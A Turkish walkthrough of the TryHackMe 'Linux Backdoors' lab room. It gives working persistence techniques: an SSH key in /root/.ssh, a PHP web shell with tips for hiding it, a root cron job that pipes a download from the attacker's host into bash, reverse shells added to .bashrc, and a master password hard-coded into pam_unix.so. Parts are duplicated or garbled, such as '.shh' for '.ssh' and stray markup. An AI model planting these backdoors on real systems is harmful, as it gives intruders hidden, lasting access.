Herkese merhaba arkadaşlar. Bu konumuzda sizlerle beraber TryHackMe (THM) sitesinde bulunan Linux Backdoors isimli makineyi çözeceğiz.
Görev 1: Giriş
Görev 1'de çevirisini yapacak olursak bize bunları anlatıyor;
Herkese merhaba!
Bu oda ortak Linux arka kapı tekniklerini öğrenmeye adanmıştır! Arka kapı, makineye tutarlı erişimimizi sağlamak için yapabileceğimiz bir şeydir.
Yani makine yeniden başlatılsa, kapansa ya da her neyse, yine de ona erişebiliyoruz.
Bunlar gerçek güvenlik açıkları değil, yalnızca hedef erişiminizi korumanın yollarıdır
Bu odada gösterilen tüm arka kapı tekniklerini yeniden oluşturmak için, hepsini kendi makinenizde deneyebilir veya "THM ATTACK BOX" ı kullanabilirsiniz.
Daha güvenli ve bir şeyi berbat edip etmediğin önemli değil.
Mutlu Hacklemeler!
Görev 2: SSH Arka Kapılar
Görev 2'de bizden ssh keygen oluşturmamızı istiyor. Bunu terminalimize gelip "ssh-keygen" komutunu girerek yapabiliriz.
Artık iki anahtarımız var. 1 özel anahtar ve 1 ortak anahtar, artık /root/.ssh adresine gidebilir ve ortak anahtarımızı orada bırakabiliriz.
.shh dizini yok ise
" mkdir .shh "
komutu ile oluşturabiliriz.
chmod 600 id_rsa
komutumuz ile yetkilendiriyoruz.
Anahtara doğru izinleri verdikten sonra
ssh -i id_rsa root@ip
komutu ile hedef makineye giriş yapabiliriz.
Soru 1)
Anahtarlarımızı hangi dizine yerleştireğiz?
Cevap: .shh
Soru 2)
Özel anahtarımızı göstermek için hangi bayrağı kullanıyoruz?
Cevap: -i
Artık iki anahtarımız var. 1 özel anahtar ve 1 ortak anahtar, artık /root/.ssh adresine gidebilir ve ortak anahtarımızı orada bırakabiliriz.
.shh dizini yok ise
" mkdir .shh "
komutu ile oluşturabiliriz.
chmod 600 id_rsa
komutumuz ile yetkilendiriyoruz.
Anahtara doğru izinleri verdikten sonra
ssh -i id_rsa root@ip
komutu ile hedef makineye giriş yapabiliriz.
Soru 1)
Anahtarlarımızı hangi dizine yerleştireğiz?
Cevap: .shh
Soru 2)
Özel anahtarımızı göstermek için hangi bayrağı kullanıyoruz?
Cevap: -i
Görev 3: PHP Arka Kapılar
Şimdi ikinci arka kapıya girelim: PHP Arka Kapılar!
Bir Linux ana bilgisayarında root erişimi alırsanız, büyük olasılıkla web rootunda itibar ve yararlı bilgiler ararsınız.
Web rootu genellikle şu konumda bulunur:
/var/www/html
php dosyası oluşturmayı ve bu kod parçasının içine koymayı deneyebiliriz.
PHP:
<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
Bu kod yalnızca "cmd" parametresini alır ve bu parametreye verilen her şeyi yürütür.
Arka kapıyı daha gizli hale getirmek için yollar;
1. Bu kod parçasını /var/www/html'de zaten mevcut olan php dosyalarına eklemeye çalışın. Dosyaların ortasına doğru daha fazla eklemek kesinlikle kötü amaçlı eylemlerimizi biraz daha gizli hale getirecektir.
2. "cmd" parametresini başka bir şeyle değiştirin. Yaygın olmayan birşey ile değiştirin. "Cmd" gerçekten yaygındır ve hack topluluğunda zaten çok iyi bilinmektedir. Değiştirdikten sonra kaydedin. Bu şekilde cmd aratıldığında kodumuz çıkmaz ve gizli olarak kalır.
Görev 4: CronJob Arka Kapılar
Şimdi üçüncü arka kapı tekniğine girelim. Bu arka kapı bir cronjob'u çalıştırmak söz konusu.
/etc/cronjob olan cronjobs dosyamıza göz atalım.
Bu, makinenizde bir zamanda çalışması planlanan tüm görevleri temsil eder.
Herhangi bir ana bilgisayar üzerinde root erişiminiz olduktan sonra, zamanlanmış herhangi bir görevi ekleyebiliriz.
Görevlerin üstündeki 2 harfe dikkat edin: "m ve h"
Bunlar, görevin her saat veya her dakika çalışması gerektiğini gösteren harflerdir.
Arka kapıya girmek için bu komutu cronjob dosyamıza eklememiz gerek.
Kod:
* * * * * root curl http://<yourip>:8080/shell | bash
Bir dosyayı indirmek için önce "curl" kullanıyoruz ve sonra "bash"komutunu kullanıyoruz.
Kullanmak istediğimiz "shell" dosyasının içeriği basitçe şu şekilde;
Kod:
#!/bin/bash[/B][/SIZE][/CENTER]
[SIZE=5][B]
[CENTER]bash -i >&/7/tcp/ip/port 0>&1
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Shellimizi servis eden bir HTTP sunucusu çalıştırmamız gerekir.
Bunun için komutumuz;
Kod:
python3 -m http.server 8080
Belirtilen bağlantı noktasını bu komutla dinleyebiliriz;
Kod:
nc -nvlp <port>
Soru 1)
"M" harfi cronjobs'ta ne anlama geliyor?
Cevap: minute
Soru 2)
"H" harfi cronjobs'ta ne anlama geliyor?
Cevap: hour
Görev 5: .bashrc Arka Kapılar
Şimdi ".bashrc" ile arka kapıya girmemiz isteniyor.
Bir kullanıcı oturum açma shelli olarak bash'e sahipse, etkileşimli bir oturum başlatıldığında giriş dizinindeki ".bashrc" dosyası yürütülür.
Bu nedenle, sistemlerine oldukça sık oturum açan herhangi bir kullanıcı kullanıyorsanız, ters shellinizi ".bashrc"lerine dahil etmek için bu komutu çalıştırabilirsiniz.
komutumuz;
Kod:
echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]
çalıştırdıktan sonra işlemimizi kaydedebiliriz.
Görev 6: pam_unix.so Arka Kapılar
Görev 6 ve son görevimiz. Bu görevde 5 ten fazla arka kapı olduğu gözlemleniyor.
Bakacağımız arka kapı şu: pam_unix.
Arka kapıya girelim.
Burada görüldüğü gibi, "pam_unix.so" dosyası, kullanıcının sağlanan parolasını doğrulamak için "unix_verify_password" işlevini kullanır.
Şimdi şu ekran görüntüsüne bakalım:
Kodumuza yeni bir satır eklediğimizi görebiliriz: (strcmp(p, "0xMitsurugi") != 0 )"
strcmp işlevine gelicek olursak
bu işlev temelde 2 dizeyi karşılaştırır.
Yukarıdaki ekran görüntüsünde, "p" değişkenini ve "0xMitsurugi" dizesini karşılaştırıyoruz.
"p" değişkeni kullanıcının sağlanan parolasını temsil ediyor. Başka bir deyişle, kullanıcının sağladığı parola.
Deyimin sonunda "!=0" ifadesini de görebilirsiniz. Bu "başarılı olmazsa" anlamına gelir. Bu nedenle, "p" değişkeni (kullanıcı tarafından sağlanan parola) ve "0xMitsurugi" dizesi aynı Değilse "unix_verify_password" işlevi kullanılacaktır.
Ancak, "p" değişkeni (kullanıcı tarafından sağlanan parola) ve "0xMitsurugi" dizesi aynıysa, kimlik doğrulaması başarılı olur. Başarıyı "PAM_SUCCESS" kullanarak işaretleriz.
Yani bu arka kapı aslında "pam_unix.so" ye kendi şifrenizi eklemeyi oluşur.
Dosyaya eklediğiniz parolayı bildiğinizden, "pam_unix.so" dan kaldırılana kadar bu parolayla her zaman kimlik doğrulaması yapabileceksiniz.
Bu sayede 6. görevde de bizden istenilenler yerine getirilmiş oldu.
Tüm görevleri tamamlayarak makinemizi de çözmüş oluyoruz.
Başka bir konuda görüşmek dileğiyle...